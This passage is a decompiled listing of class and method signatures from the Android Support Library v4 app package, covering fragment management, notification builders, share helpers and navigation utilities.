    public NotificationCompat$InboxStyle setBigContentTitle(CharSequence);
    public NotificationCompat$InboxStyle setSummaryText(CharSequence);
    public NotificationCompat$InboxStyle addLine(CharSequence);
}










android/support/v4/app/FragmentState.class


package android.support.v4.app;
final synchronized class FragmentState implements android.os.Parcelable {
    final String mClassName;
    final int mIndex;
    final boolean mFromLayout;
    final int mFragmentId;
    final int mContainerId;
    final String mTag;
    final boolean mRetainInstance;
    final boolean mDetached;
    final android.os.Bundle mArguments;
    android.os.Bundle mSavedFragmentState;
    Fragment mInstance;
    public static final android.os.Parcelable$Creator CREATOR;
    public void FragmentState(Fragment);
    public void FragmentState(android.os.Parcel);
    public Fragment instantiate(FragmentActivity, Fragment);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/FragmentManagerState.class


package android.support.v4.app;
final synchronized class FragmentManagerState implements android.os.Parcelable {
    FragmentState[] mActive;
    int[] mAdded;
    BackStackState[] mBackStack;
    public static final android.os.Parcelable$Creator CREATOR;
    public void FragmentManagerState();
    public void FragmentManagerState(android.os.Parcel);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/FragmentManagerImpl$3.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$3 implements Runnable {
    void FragmentManagerImpl$3(FragmentManagerImpl, String, int);
    public void run();
}










android/support/v4/app/FragmentActivity$1.class


package android.support.v4.app;
synchronized class FragmentActivity$1 extends android.os.Handler {
    void FragmentActivity$1(FragmentActivity);
    public void handleMessage(android.os.Message);
}










android/support/v4/app/NotificationCompat$BigPictureStyle.class


package android.support.v4.app;
public synchronized class NotificationCompat$BigPictureStyle extends NotificationCompat$Style {
    android.graphics.Bitmap mPicture;
    android.graphics.Bitmap mBigLargeIcon;
    boolean mBigLargeIconSet;
    public void NotificationCompat$BigPictureStyle();
    public void NotificationCompat$BigPictureStyle(NotificationCompat$Builder);
    public NotificationCompat$BigPictureStyle setBigContentTitle(CharSequence);
    public NotificationCompat$BigPictureStyle setSummaryText(CharSequence);
    public NotificationCompat$BigPictureStyle bigPicture(android.graphics.Bitmap);
    public NotificationCompat$BigPictureStyle bigLargeIcon(android.graphics.Bitmap);
}










android/support/v4/app/SuperNotCalledException.class


package android.support.v4.app;
final synchronized class SuperNotCalledException extends android.util.AndroidRuntimeException {
    public void SuperNotCalledException(String);
}










android/support/v4/app/FragmentManagerImpl$1.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$1 implements Runnable {
    void FragmentManagerImpl$1(FragmentManagerImpl);
    public void run();
}










android/support/v4/app/FragmentManagerImpl.class


package android.support.v4.app;
final synchronized class FragmentManagerImpl extends FragmentManager {
    static boolean DEBUG;
    static final String TAG = FragmentManager;
    static final boolean HONEYCOMB;
    static final String TARGET_REQUEST_CODE_STATE_TAG = android:target_req_state;
    static final String TARGET_STATE_TAG = android:target_state;
    static final String VIEW_STATE_TAG = android:view_state;
    static final String USER_VISIBLE_HINT_TAG = android:user_visible_hint;
    java.util.ArrayList mPendingActions;
    Runnable[] mTmpActions;
    boolean mExecutingActions;
    java.util.ArrayList mActive;
    java.util.ArrayList mAdded;
    java.util.ArrayList mAvailIndices;
    java.util.ArrayList mBackStack;
    java.util.ArrayList mCreatedMenus;
    java.util.ArrayList mBackStackIndices;
    java.util.ArrayList mAvailBackStackIndices;
    java.util.ArrayList mBackStackChangeListeners;
    int mCurState;
    FragmentActivity mActivity;
    FragmentContainer mContainer;
    Fragment mParent;
    boolean mNeedMenuInvalidate;
    boolean mStateSaved;
    boolean mDestroyed;
    String mNoTransactionsBecause;
    boolean mHavePendingDeferredStart;
    android.os.Bundle mStateBundle;
    android.util.SparseArray mStateArray;
    Runnable mExecCommit;
    static final android.view.animation.Interpolator DECELERATE_QUINT;
    static final android.view.animation.Interpolator DECELERATE_CUBIC;
    static final android.view.animation.Interpolator ACCELERATE_QUINT;
    static final android.view.animation.Interpolator ACCELERATE_CUBIC;
    static final int ANIM_DUR = 220;
    public static final int ANIM_STYLE_OPEN_ENTER = 1;
    public static final int ANIM_STYLE_OPEN_EXIT = 2;
    public static final int ANIM_STYLE_CLOSE_ENTER = 3;
    public static final int ANIM_STYLE_CLOSE_EXIT = 4;
    public static final int ANIM_STYLE_FADE_ENTER = 5;
    public static final int ANIM_STYLE_FADE_EXIT = 6;
    void FragmentManagerImpl();
    private void throwException(RuntimeException);
    public FragmentTransaction beginTransaction();
    public boolean executePendingTransactions();
    public void popBackStack();
    public boolean popBackStackImmediate();
    public void popBackStack(String, int);
    public boolean popBackStackImmediate(String, int);
    public void popBackStack(int, int);
    public boolean popBackStackImmediate(int, int);
    public int getBackStackEntryCount();
    public FragmentManager$BackStackEntry getBackStackEntryAt(int);
    public void addOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public void removeOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public void putFragment(android.os.Bundle, String, Fragment);
    public Fragment getFragment(android.os.Bundle, String);
    public Fragment$SavedState saveFragmentInstanceState(Fragment);
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    static android.view.animation.Animation makeOpenCloseAnimation(android.content.Context, float, float, float, float);
    static android.view.animation.Animation makeFadeAnimation(android.content.Context, float, float);
    android.view.animation.Animation loadAnimation(Fragment, int, boolean, int);
    public void performPendingDeferredStart(Fragment);
    void moveToState(Fragment, int, int, int, boolean);
    void moveToState(Fragment);
    void moveToState(int, boolean);
    void moveToState(int, int, int, boolean);
    void startPendingDeferredFragments();
    void makeActive(Fragment);
    void makeInactive(Fragment);
    public void addFragment(Fragment, boolean);
    public void removeFragment(Fragment, int, int);
    public void hideFragment(Fragment, int, int);
    public void showFragment(Fragment, int, int);
    public void detachFragment(Fragment, int, int);
    public void attachFragment(Fragment, int, int);
    public Fragment findFragmentById(int);
    public Fragment findFragmentByTag(String);
    public Fragment findFragmentByWho(String);
    private void checkStateLoss();
    public void enqueueAction(Runnable, boolean);
    public int allocBackStackIndex(BackStackRecord);
    public void setBackStackIndex(int, BackStackRecord);
    public void freeBackStackIndex(int);
    public boolean execPendingActions();
    void reportBackStackChanged();
    void addBackStackState(BackStackRecord);
    boolean popBackStackState(android.os.Handler, String, int, int);
    java.util.ArrayList retainNonConfig();
    void saveFragmentViewState(Fragment);
    android.os.Bundle saveFragmentBasicState(Fragment);
    android.os.Parcelable saveAllState();
    void restoreAllState(android.os.Parcelable, java.util.ArrayList);
    public void attachActivity(FragmentActivity, FragmentContainer, Fragment);
    public void noteStateNotSaved();
    public void dispatchCreate();
    public void dispatchActivityCreated();
    public void dispatchStart();
    public void dispatchResume();
    public void dispatchPause();
    public void dispatchStop();
    public void dispatchReallyStop();
    public void dispatchDestroyView();
    public void dispatchDestroy();
    public void dispatchConfigurationChanged(android.content.res.Configuration);
    public void dispatchLowMemory();
    public boolean dispatchCreateOptionsMenu(android.view.Menu, android.view.MenuInflater);
    public boolean dispatchPrepareOptionsMenu(android.view.Menu);
    public boolean dispatchOptionsItemSelected(android.view.MenuItem);
    public boolean dispatchContextItemSelected(android.view.MenuItem);
    public void dispatchOptionsMenuClosed(android.view.Menu);
    public static int reverseTransit(int);
    public static int transitToStyleIndex(int, boolean);
    static void <clinit>();
}










android/support/v4/app/ActionBarDrawerToggle$ActionBarDrawerToggleImplBase.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggle$ActionBarDrawerToggleImplBase implements ActionBarDrawerToggle$ActionBarDrawerToggleImpl {
    private void ActionBarDrawerToggle$ActionBarDrawerToggleImplBase();
    public android.graphics.drawable.Drawable getThemeUpIndicator(android.app.Activity);
    public Object setActionBarUpIndicator(Object, android.app.Activity, android.graphics.drawable.Drawable, int);
    public Object setActionBarDescription(Object, android.app.Activity, int);
}










android/support/v4/app/ActionBarDrawerToggle.class


package android.support.v4.app;
public synchronized class ActionBarDrawerToggle implements android.support.v4.widget.DrawerLayout$DrawerListener {
    private static final ActionBarDrawerToggle$ActionBarDrawerToggleImpl IMPL;
    private static final int ID_HOME = 16908332;
    private final android.app.Activity mActivity;
    private final android.support.v4.widget.DrawerLayout mDrawerLayout;
    private boolean mDrawerIndicatorEnabled;
    private android.graphics.drawable.Drawable mThemeImage;
    private android.graphics.drawable.Drawable mDrawerImage;
    private ActionBarDrawerToggle$SlideDrawable mSlider;
    private final int mDrawerImageResource;
    private final int mOpenDrawerContentDescRes;
    private final int mCloseDrawerContentDescRes;
    private Object mSetIndicatorInfo;
    public void ActionBarDrawerToggle(android.app.Activity, android.support.v4.widget.DrawerLayout, int, int, int);
    public void syncState();
    public void setDrawerIndicatorEnabled(boolean);
    public boolean isDrawerIndicatorEnabled();
    public void onConfigurationChanged(android.content.res.Configuration);
    public boolean onOptionsItemSelected(android.view.MenuItem);
    public void onDrawerSlide(android.view.View, float);
    public void onDrawerOpened(android.view.View);
    public void onDrawerClosed(android.view.View);
    public void onDrawerStateChanged(int);
    static void <clinit>();
}










android/support/v4/app/FragmentPagerAdapter.class


package android.support.v4.app;
public abstract synchronized class FragmentPagerAdapter extends android.support.v4.view.PagerAdapter {
    private static final String TAG = FragmentPagerAdapter;
    private static final boolean DEBUG = 0;
    private final FragmentManager mFragmentManager;
    private FragmentTransaction mCurTransaction;
    private Fragment mCurrentPrimaryItem;
    public void FragmentPagerAdapter(FragmentManager);
    public abstract Fragment getItem(int);
    public void startUpdate(android.view.ViewGroup);
    public Object instantiateItem(android.view.ViewGroup, int);
    public void destroyItem(android.view.ViewGroup, int, Object);
    public void setPrimaryItem(android.view.ViewGroup, int, Object);
    public void finishUpdate(android.view.ViewGroup);
    public boolean isViewFromObject(android.view.View, Object);
    public android.os.Parcelable saveState();
    public void restoreState(android.os.Parcelable, ClassLoader);
    public long getItemId(int);
    private static String makeFragmentName(int, long);
}










android/support/v4/app/ServiceCompat.class


package android.support.v4.app;
public synchronized class ServiceCompat {
    public static final int START_STICKY = 1;
    private void ServiceCompat();
}










android/support/v4/app/DialogFragment.class


package android.support.v4.app;
public synchronized class DialogFragment extends Fragment implements android.content.DialogInterface$OnCancelListener, android.content.DialogInterface$OnDismissListener {
    public static final int STYLE_NORMAL = 0;
    public static final int STYLE_NO_TITLE = 1;
    public static final int STYLE_NO_FRAME = 2;
    public static final int STYLE_NO_INPUT = 3;
    private static final String SAVED_DIALOG_STATE_TAG = android:savedDialogState;
    private static final String SAVED_STYLE = android:style;
    private static final String SAVED_THEME = android:theme;
    private static final String SAVED_CANCELABLE = android:cancelable;
    private static final String SAVED_SHOWS_DIALOG = android:showsDialog;
    private static final String SAVED_BACK_STACK_ID = android:backStackId;
    int mStyle;
    int mTheme;
    boolean mCancelable;
    boolean mShowsDialog;
    int mBackStackId;
    android.app.Dialog mDialog;
    boolean mViewDestroyed;
    boolean mDismissed;
    boolean mShownByMe;
    public void DialogFragment();
    public void setStyle(int, int);
    public void show(FragmentManager, String);
    public int show(FragmentTransaction, String);
    public void dismiss();
    public void dismissAllowingStateLoss();
    void dismissInternal(boolean);
    public android.app.Dialog getDialog();
    public int getTheme();
    public void setCancelable(boolean);
    public boolean isCancelable();
    public void setShowsDialog(boolean);
    public boolean getShowsDialog();
    public void onAttach(android.app.Activity);
    public void onDetach();
    public void onCreate(android.os.Bundle);
    public android.view.LayoutInflater getLayoutInflater(android.os.Bundle);
    public android.app.Dialog onCreateDialog(android.os.Bundle);
    public void onCancel(android.content.DialogInterface);
    public void onDismiss(android.content.DialogInterface);
    public void onActivityCreated(android.os.Bundle);
    public void onStart();
    public void onSaveInstanceState(android.os.Bundle);
    public void onStop();
    public void onDestroyView();
}










android/support/v4/app/FragmentActivity$NonConfigurationInstances.class


package android.support.v4.app;
final synchronized class FragmentActivity$NonConfigurationInstances {
    Object activity;
    Object custom;
    java.util.HashMap children;
    java.util.ArrayList fragments;
    java.util.HashMap loaders;
    void FragmentActivity$NonConfigurationInstances();
}










android/support/v4/app/NotificationCompat$Action.class


package android.support.v4.app;
public synchronized class NotificationCompat$Action {
    public int icon;
    public CharSequence title;
    public android.app.PendingIntent actionIntent;
    public void NotificationCompat$Action(int, CharSequence, android.app.PendingIntent);
}










android/support/v4/app/NavUtils.class


package android.support.v4.app;
public synchronized class NavUtils {
    private static final String TAG = NavUtils;
    public static final String PARENT_ACTIVITY = android.support.PARENT_ACTIVITY;
    private static final NavUtils$NavUtilsImpl IMPL;
    public static boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public static void navigateUpFromSameTask(android.app.Activity);
    public static void navigateUpTo(android.app.Activity, android.content.Intent);
    public static android.content.Intent getParentActivityIntent(android.app.Activity);
    public static android.content.Intent getParentActivityIntent(android.content.Context, Class) throws android.content.pm.PackageManager$NameNotFoundException;
    public static android.content.Intent getParentActivityIntent(android.content.Context, android.content.ComponentName) throws android.content.pm.PackageManager$NameNotFoundException;
    public static String getParentActivityName(android.app.Activity);
    public static String getParentActivityName(android.content.Context, android.content.ComponentName) throws android.content.pm.PackageManager$NameNotFoundException;
    private void NavUtils();
    static void <clinit>();
}










android/support/v4/app/ListFragment$2.class


package android.support.v4.app;
synchronized class ListFragment$2 implements android.widget.AdapterView$OnItemClickListener {
    void ListFragment$2(ListFragment);
    public void onItemClick(android.widget.AdapterView, android.view.View, int, long);
}










android/support/v4/app/FragmentActivity.class


package android.support.v4.app;
public synchronized class FragmentActivity extends android.app.Activity {
    private static final String TAG = FragmentActivity;
    static final String FRAGMENTS_TAG = android:support:fragments;
    private static final int HONEYCOMB = 11;
    static final int MSG_REALLY_STOPPED = 1;
    static final int MSG_RESUME_PENDING = 2;
    final android.os.Handler mHandler;
    final FragmentManagerImpl mFragments;
    final FragmentContainer mContainer;
    boolean mCreated;
    boolean mResumed;
    boolean mStopped;
    boolean mReallyStopped;
    boolean mRetaining;
    boolean mOptionsMenuInvalidated;
    boolean mCheckedForLoaderManager;
    boolean mLoadersStarted;
    java.util.HashMap mAllLoaderManagers;
    LoaderManagerImpl mLoaderManager;
    public void FragmentActivity();
    protected void onActivityResult(int, int, android.content.Intent);
    public void onBackPressed();
    public void onConfigurationChanged(android.content.res.Configuration);
    protected void onCreate(android.os.Bundle);
    public boolean onCreatePanelMenu(int, android.view.Menu);
    public android.view.View onCreateView(String, android.content.Context, android.util.AttributeSet);
    protected void onDestroy();
    public boolean onKeyDown(int, android.view.KeyEvent);
    public void onLowMemory();
    public boolean onMenuItemSelected(int, android.view.MenuItem);
    public void onPanelClosed(int, android.view.Menu);
    protected void onPause();
    protected void onNewIntent(android.content.Intent);
    protected void onResume();
    protected void onPostResume();
    protected void onResumeFragments();
    public boolean onPreparePanel(int, android.view.View, android.view.Menu);
    public final Object onRetainNonConfigurationInstance();
    protected void onSaveInstanceState(android.os.Bundle);
    protected void onStart();
    protected void onStop();
    public Object onRetainCustomNonConfigurationInstance();
    public Object getLastCustomNonConfigurationInstance();
    public void supportInvalidateOptionsMenu();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    private static String viewToString(android.view.View);
    private void dumpViewHierarchy(String, java.io.PrintWriter, android.view.View);
    void doReallyStop(boolean);
    void onReallyStop();
    public void onAttachFragment(Fragment);
    public FragmentManager getSupportFragmentManager();
    public void startActivityForResult(android.content.Intent, int);
    public void startActivityFromFragment(Fragment, android.content.Intent, int);
    void invalidateSupportFragment(String);
    public LoaderManager getSupportLoaderManager();
    LoaderManagerImpl getLoaderManager(String, boolean, boolean);
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImplHoneycomb.class


package android.support.v4.app;
synchronized class TaskStackBuilder$TaskStackBuilderImplHoneycomb implements TaskStackBuilder$TaskStackBuilderImpl {
    void TaskStackBuilder$TaskStackBuilderImplHoneycomb();
    public android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/ActionBarDrawerToggle$ActionBarDrawerToggleImplHC.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggle$ActionBarDrawerToggleImplHC implements ActionBarDrawerToggle$ActionBarDrawerToggleImpl {
    private void ActionBarDrawerToggle$ActionBarDrawerToggleImplHC();
    public android.graphics.drawable.Drawable getThemeUpIndicator(android.app.Activity);
    public Object setActionBarUpIndicator(Object, android.app.Activity, android.graphics.drawable.Drawable, int);
    public Object setActionBarDescription(Object, android.app.Activity, int);
}










android/support/v4/app/ActivityOptionsCompat$ActivityOptionsImplJB.class


package android.support.v4.app;
synchronized class ActivityOptionsCompat$ActivityOptionsImplJB extends ActivityOptionsCompat {
    private final ActivityOptionsCompatJB mImpl;
    void ActivityOptionsCompat$ActivityOptionsImplJB(ActivityOptionsCompatJB);
    public android.os.Bundle toBundle();
    public void update(ActivityOptionsCompat);
}










android/support/v4/app/NotificationCompat$Builder.class


package android.support.v4.app;
public synchronized class NotificationCompat$Builder {
    android.content.Context mContext;
    CharSequence mContentTitle;
    CharSequence mContentText;
    android.app.PendingIntent mContentIntent;
    android.app.PendingIntent mFullScreenIntent;
    android.widget.RemoteViews mTickerView;
    android.graphics.Bitmap mLargeIcon;
    CharSequence mContentInfo;
    int mNumber;
    int mPriority;
    boolean mUseChronometer;
    NotificationCompat$Style mStyle;
    CharSequence mSubText;
    int mProgressMax;
    int mProgress;
    boolean mProgressIndeterminate;
    java.util.ArrayList mActions;
    android.app.Notification mNotification;
    public void NotificationCompat$Builder(android.content.Context);
    public NotificationCompat$Builder setWhen(long);
    public NotificationCompat$Builder setUsesChronometer(boolean);
    public NotificationCompat$Builder setSmallIcon(int);
    public NotificationCompat$Builder setSmallIcon(int, int);
    public NotificationCompat$Builder setContentTitle(CharSequence);
    public NotificationCompat$Builder setContentText(CharSequence);
    public NotificationCompat$Builder setSubText(CharSequence);
    public NotificationCompat$Builder setNumber(int);
    public NotificationCompat$Builder setContentInfo(CharSequence);
    public NotificationCompat$Builder setProgress(int, int, boolean);
    public NotificationCompat$Builder setContent(android.widget.RemoteViews);
    public NotificationCompat$Builder setContentIntent(android.app.PendingIntent);
    public NotificationCompat$Builder setDeleteIntent(android.app.PendingIntent);
    public NotificationCompat$Builder setFullScreenIntent(android.app.PendingIntent, boolean);
    public NotificationCompat$Builder setTicker(CharSequence);
    public NotificationCompat$Builder setTicker(CharSequence, android.widget.RemoteViews);
    public NotificationCompat$Builder setLargeIcon(android.graphics.Bitmap);
    public NotificationCompat$Builder setSound(android.net.Uri);
    public NotificationCompat$Builder setSound(android.net.Uri, int);
    public NotificationCompat$Builder setVibrate(long[]);
    public NotificationCompat$Builder setLights(int, int, int);
    public NotificationCompat$Builder setOngoing(boolean);
    public NotificationCompat$Builder setOnlyAlertOnce(boolean);
    public NotificationCompat$Builder setAutoCancel(boolean);
    public NotificationCompat$Builder setDefaults(int);
    private void setFlag(int, boolean);
    public NotificationCompat$Builder setPriority(int);
    public NotificationCompat$Builder addAction(int, CharSequence, android.app.PendingIntent);
    public NotificationCompat$Builder setStyle(NotificationCompat$Style);
    public android.app.Notification getNotification();
    public android.app.Notification build();
}










android/support/v4/app/BackStackRecord.class


package android.support.v4.app;
final synchronized class BackStackRecord extends FragmentTransaction implements FragmentManager$BackStackEntry, Runnable {
    static final String TAG = FragmentManager;
    final FragmentManagerImpl mManager;
    static final int OP_NULL = 0;
    static final int OP_ADD = 1;
    static final int OP_REPLACE = 2;
    static final int OP_REMOVE = 3;
    static final int OP_HIDE = 4;
    static final int OP_SHOW = 5;
    static final int OP_DETACH = 6;
    static final int OP_ATTACH = 7;
    BackStackRecord$Op mHead;
    BackStackRecord$Op mTail;
    int mNumOp;
    int mEnterAnim;
    int mExitAnim;
    int mPopEnterAnim;
    int mPopExitAnim;
    int mTransition;
    int mTransitionStyle;
    boolean mAddToBackStack;
    boolean mAllowAddToBackStack;
    String mName;
    boolean mCommitted;
    int mIndex;
    int mBreadCrumbTitleRes;
    CharSequence mBreadCrumbTitleText;
    int mBreadCrumbShortTitleRes;
    CharSequence mBreadCrumbShortTitleText;
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public void dump(String, java.io.PrintWriter, boolean);
    public void BackStackRecord(FragmentManagerImpl);
    public int getId();
    public int getBreadCrumbTitleRes();
    public int getBreadCrumbShortTitleRes();
    public CharSequence getBreadCrumbTitle();
    public CharSequence getBreadCrumbShortTitle();
    void addOp(BackStackRecord$Op);
    public FragmentTransaction add(Fragment, String);
    public FragmentTransaction add(int, Fragment);
    public FragmentTransaction add(int, Fragment, String);
    private void doAddOp(int, Fragment, String, int);
    public FragmentTransaction replace(int, Fragment);
    public FragmentTransaction replace(int, Fragment, String);
    public FragmentTransaction remove(Fragment);
    public FragmentTransaction hide(Fragment);
    public FragmentTransaction show(Fragment);
    public FragmentTransaction detach(Fragment);
    public FragmentTransaction attach(Fragment);
    public FragmentTransaction setCustomAnimations(int, int);
    public FragmentTransaction setCustomAnimations(int, int, int, int);
    public FragmentTransaction setTransition(int);
    public FragmentTransaction setTransitionStyle(int);
    public FragmentTransaction addToBackStack(String);
    public boolean isAddToBackStackAllowed();
    public FragmentTransaction disallowAddToBackStack();
    public FragmentTransaction setBreadCrumbTitle(int);
    public FragmentTransaction setBreadCrumbTitle(CharSequence);
    public FragmentTransaction setBreadCrumbShortTitle(int);
    public FragmentTransaction setBreadCrumbShortTitle(CharSequence);
    void bumpBackStackNesting(int);
    public int commit();
    public int commitAllowingStateLoss();
    int commitInternal(boolean);
    public void run();
    public void popFromBackStack(boolean);
    public String getName();
    public int getTransition();
    public int getTransitionStyle();
    public boolean isEmpty();
}










android/support/v4/app/NavUtils$NavUtilsImpl.class


package android.support.v4.app;
abstract interface NavUtils$NavUtilsImpl {
    public abstract android.content.Intent getParentActivityIntent(android.app.Activity);
    public abstract boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public abstract void navigateUpTo(android.app.Activity, android.content.Intent);
    public abstract String getParentActivityName(android.content.Context, android.content.pm.ActivityInfo);
}










android/support/v4/app/TaskStackBuilder.class


package android.support.v4.app;
public synchronized class TaskStackBuilder implements Iterable {
    private static final String TAG = TaskStackBuilder;
    private static final TaskStackBuilder$TaskStackBuilderImpl IMPL;
    private final java.util.ArrayList mIntents;
    private final android.content.Context mSourceContext;
    private void TaskStackBuilder(android.content.Context);
    public static TaskStackBuilder create(android.content.Context);
    public static TaskStackBuilder from(android.content.Context);
    public TaskStackBuilder addNextIntent(android.content.Intent);
    public TaskStackBuilder addNextIntentWithParentStack(android.content.Intent);
    public TaskStackBuilder addParentStack(android.app.Activity);
    public TaskStackBuilder addParentStack(Class);
    public TaskStackBuilder addParentStack(android.content.ComponentName);
    public int getIntentCount();
    public android.content.Intent getIntent(int);
    public android.content.Intent editIntentAt(int);
    public java.util.Iterator iterator();
    public void startActivities();
    public void startActivities(android.os.Bundle);
    public android.app.PendingIntent getPendingIntent(int, int);
    public android.app.PendingIntent getPendingIntent(int, int, android.os.Bundle);
    public android.content.Intent[] getIntents();
    static void <clinit>();
}










android/support/v4/app/LoaderManager$LoaderCallbacks.class


package android.support.v4.app;
public abstract interface LoaderManager$LoaderCallbacks {
    public abstract android.support.v4.content.Loader onCreateLoader(int, android.os.Bundle);
    public abstract void onLoadFinished(android.support.v4.content.Loader, Object);
    public abstract void onLoaderReset(android.support.v4.content.Loader);
}










android/support/v4/app/ShareCompat$ShareCompatImplBase.class


package android.support.v4.app;
synchronized class ShareCompat$ShareCompatImplBase implements ShareCompat$ShareCompatImpl {
    void ShareCompat$ShareCompatImplBase();
    public void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    public String escapeHtml(CharSequence);
    private static void withinStyle(StringBuilder, CharSequence, int, int);
}










android/support/v4/app/FragmentStatePagerAdapter.class


package android.support.v4.app;
public abstract synchronized class FragmentStatePagerAdapter extends android.support.v4.view.PagerAdapter {
    private static final String TAG = FragmentStatePagerAdapter;
    private static final boolean DEBUG = 0;
    private final FragmentManager mFragmentManager;
    private FragmentTransaction mCurTransaction;
    private java.util.ArrayList mSavedState;
    private java.util.ArrayList mFragments;
    private Fragment mCurrentPrimaryItem;
    public void FragmentStatePagerAdapter(FragmentManager);
    public abstract Fragment getItem(int);
    public void startUpdate(android.view.ViewGroup);
    public Object instantiateItem(android.view.ViewGroup, int);
    public void destroyItem(android.view.ViewGroup, int, Object);
    public void setPrimaryItem(android.view.ViewGroup, int, Object);
    public void finishUpdate(android.view.ViewGroup);
    public boolean isViewFromObject(android.view.View, Object);
    public android.os.Parcelable saveState();
    public void restoreState(android.os.Parcelable, ClassLoader);
}










android/support/v4/app/ListFragment.class


package android.support.v4.app;
public synchronized class ListFragment extends Fragment {
    static final int INTERNAL_EMPTY_ID = 16711681;
    static final int INTERNAL_PROGRESS_CONTAINER_ID = 16711682;
    static final int INTERNAL_LIST_CONTAINER_ID = 16711683;
    private final android.os.Handler mHandler;
    private final Runnable mRequestFocus;
    private final android.widget.AdapterView$OnItemClickListener mOnClickListener;
    android.widget.ListAdapter mAdapter;
    android.widget.ListView mList;
    android.view.View mEmptyView;
    android.widget.TextView mStandardEmptyView;
    android.view.View mProgressContainer;
    android.view.View mListContainer;
    CharSequence mEmptyText;
    boolean mListShown;
    public void ListFragment();
    public android.view.View onCreateView(android.view.LayoutInflater, android.view.ViewGroup, android.os.Bundle);
    public void onViewCreated(android.view.View, android.os.Bundle);
    public void onDestroyView();
    public void onListItemClick(android.widget.ListView, android.view.View, int, long);
    public void setListAdapter(android.widget.ListAdapter);
    public void setSelection(int);
    public int getSelectedItemPosition();
    public long getSelectedItemId();
    public android.widget.ListView getListView();
    public void setEmptyText(CharSequence);
    public void setListShown(boolean);
    public void setListShownNoAnimation(boolean);
    private void setListShown(boolean, boolean);
    public android.widget.ListAdapter getListAdapter();
    private void ensureList();
}










android/support/v4/app/ShareCompat$ShareCompatImplJB.class


package android.support.v4.app;
synchronized class ShareCompat$ShareCompatImplJB extends ShareCompat$ShareCompatImplICS {
    void ShareCompat$ShareCompatImplJB();
    public String escapeHtml(CharSequence);
    boolean shouldAddChooserIntent(android.view.MenuItem);
}










android/support/v4/app/FragmentActivity$2.class


package android.support.v4.app;
synchronized class FragmentActivity$2 implements FragmentContainer {
    void FragmentActivity$2(FragmentActivity);
    public android.view.View findViewById(int);
}










android/support/v4/app/FragmentTabHost$1.class


package android.support.v4.app;
synchronized class FragmentTabHost$1 {
}










android/support/v4/app/ActionBarDrawerToggleHoneycomb$SetIndicatorInfo.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggleHoneycomb$SetIndicatorInfo {
    public reflect.Method setHomeAsUpIndicator;
    public reflect.Method setHomeActionContentDescription;
    public android.widget.ImageView upIndicatorView;
    void ActionBarDrawerToggleHoneycomb$SetIndicatorInfo(android.app.Activity);
}










android/support/v4/app/ShareCompatICS.class


package android.support.v4.app;
synchronized class ShareCompatICS {
    private static final String HISTORY_FILENAME_PREFIX = .sharecompat_;
    void ShareCompatICS();
    public static void configureMenuItem(android.view.MenuItem, android.app.Activity, android.content.Intent);
}










android/support/v4/app/ActivityCompat.class


package android.support.v4.app;
public synchronized class ActivityCompat extends android.support.v4.content.ContextCompat {
    public void ActivityCompat();
    public static boolean invalidateOptionsMenu(android.app.Activity);
    public static void startActivity(android.app.Activity, android.content.Intent, android.os.Bundle);
    public static void startActivityForResult(android.app.Activity, android.content.Intent, int, android.os.Bundle);
}










android/support/v4/app/NotificationCompat$NotificationCompatImplHoneycomb.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplHoneycomb implements NotificationCompat$NotificationCompatImpl {
    void NotificationCompat$NotificationCompatImplHoneycomb();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/ActionBarDrawerToggle$ActionBarDrawerToggleImpl.class


package android.support.v4.app;
abstract interface ActionBarDrawerToggle$ActionBarDrawerToggleImpl {
    public abstract android.graphics.drawable.Drawable getThemeUpIndicator(android.app.Activity);
    public abstract Object setActionBarUpIndicator(Object, android.app.Activity, android.graphics.drawable.Drawable, int);
    public abstract Object setActionBarDescription(Object, android.app.Activity, int);
}










android/support/v4/app/NotificationCompatJellybean.class


package android.support.v4.app;
synchronized class NotificationCompatJellybean {
    private android.app.Notification$Builder b;
    public void NotificationCompatJellybean(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap, int, int, boolean, boolean, int, CharSequence);
    public void addAction(int, CharSequence, android.app.PendingIntent);
    public void addBigTextStyle(CharSequence, boolean, CharSequence, CharSequence);
    public void addBigPictureStyle(CharSequence, boolean, CharSequence, android.graphics.Bitmap, android.graphics.Bitmap, boolean);
    public void addInboxStyle(CharSequence, boolean, CharSequence, java.util.ArrayList);
    public android.app.Notification build();
}










android/support/v4/app/ShareCompat$IntentReader.class


package android.support.v4.app;
public synchronized class ShareCompat$IntentReader {
    private static final String TAG = IntentReader;
    private android.app.Activity mActivity;
    private android.content.Intent mIntent;
    private String mCallingPackage;
    private android.content.ComponentName mCallingActivity;
    private java.util.ArrayList mStreams;
    public static ShareCompat$IntentReader from(android.app.Activity);
    private void ShareCompat$IntentReader(android.app.Activity);
    public boolean isShareIntent();
    public boolean isSingleShare();
    public boolean isMultipleShare();
    public String getType();
    public CharSequence getText();
    public String getHtmlText();
    public android.net.Uri getStream();
    public android.net.Uri getStream(int);
    public int getStreamCount();
    public String[] getEmailTo();
    public String[] getEmailCc();
    public String[] getEmailBcc();
    public String getSubject();
    public String getCallingPackage();
    public android.content.ComponentName getCallingActivity();
    public android.graphics.drawable.Drawable getCallingActivityIcon();
    public android.graphics.drawable.Drawable getCallingApplicationIcon();
    public CharSequence getCallingApplicationLabel();
}










android/support/v4/app/TaskStackBuilderHoneycomb.class


package android.support.v4.app;
